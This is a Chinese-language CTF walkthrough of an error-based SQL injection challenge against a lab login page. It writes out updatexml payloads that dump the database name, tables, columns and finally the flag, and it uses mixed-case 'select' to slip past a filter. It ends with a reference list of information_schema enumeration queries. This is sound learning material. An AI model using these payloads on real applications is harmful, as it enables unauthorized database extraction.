1.启动靶机:
2.进入login.php界面
ps:界面没有注入口,因为这个题目是sql注入,尝试输入常规的login界面,进入了login界面
我们学习ctf,在基础阶段还是要抛开脑洞,掌握并且形成一套破解模式
3.查看源代码
这个源代码里面有用的信息就是?tips=1,但是加到url后面也没什么效果
4.抓包吧
尝试了一下普通的注入没有啥用
5.先用burpsuit查看数据库
注入语句 1' and updatexml(1,concat(0x7e,(select database()),1)
中转(ctrl+r到repeater)
添加trips=1,改变调整变量(我加了#,其实在前面界面注入的时候就可以加上#)
6.利用bp查看数据库下的表
1' and updatexml(1,concat(0x7e,(selEct group_concat(table_name) from information_schema.tables where table_schema=database())),1)
不知道为什么这个select里面为什么要大写,l和e大写都行,但是select就不行
7.利用bp查看敏感表下的字段
1' and updatexml(1,concat(0x7e,(seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),0x7e),1)
8.利用bp,从字段中获取flag
1' and updatexml(1,concat(0x7e,(seLEct flag from fl4g),0x7e),1)
得到flag
知识链接:
1.添加#表示注释掉后面的语句
2.sql语句group_cat是ctf中常用语句:
SCHEMATA :存储数据库名的,
SCHEMA_NAME:表示数据库名称
TABLES :存储表名的
TABLE_SCHEMA:表示表所属的数据库名称;
TABLE_NAME:表示表的名称
COLUMNS :存储字段名的
TABLE_SCHEMA:表示表所属的数据库名称;
TABLE_NAME:表示所属的表的名称
COLUMN_NAME:表示字段名
爆所有数据名:
select group_concat(SCHEMA_NAME) from information_schema.schemata
爆当前库的所有表:
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x----
select group_concat(column_name) from information_schema.columns where table_name=0x----
group_cat是用来表示连接的,将里面的参数连接成字符串
3.0x7e是十六进制ASCII码表示“~”